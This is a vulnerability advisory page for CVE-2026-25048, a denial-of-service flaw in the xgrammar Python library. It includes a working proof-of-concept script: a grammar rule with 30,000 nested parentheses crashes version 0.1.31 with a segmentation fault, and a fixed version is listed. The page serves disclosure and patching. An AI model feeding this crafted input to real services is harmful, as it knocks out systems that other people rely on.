GHSA-7RGV-GQHR-FXG3

Vulnerability from github – Published: 2026-03-05 18:20 – Updated: 2026-03-05 20:42
VLAI
Summary
xgrammar vulnerable to DoS via multi-layer nesting
Details

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"

    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)

    # Math expression grammar
    math_grammar = grammar

    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)

    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)

    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)

    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )

    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )

    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()

> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.31"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "xgrammar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:20:08Z",
    "nvd_published_at": "2026-03-05T16:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = \u0027(\u0027 * 30000 + \u0027a\u0027\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n\u003e pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n\u003e python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS",
  "id": "GHSA-7rgv-gqhr-fxg3",
  "modified": "2026-03-05T20:42:15Z",
  "published": "2026-03-05T18:20:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25048"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlc-ai/xgrammar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xgrammar vulnerable to DoS via multi-layer nesting"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.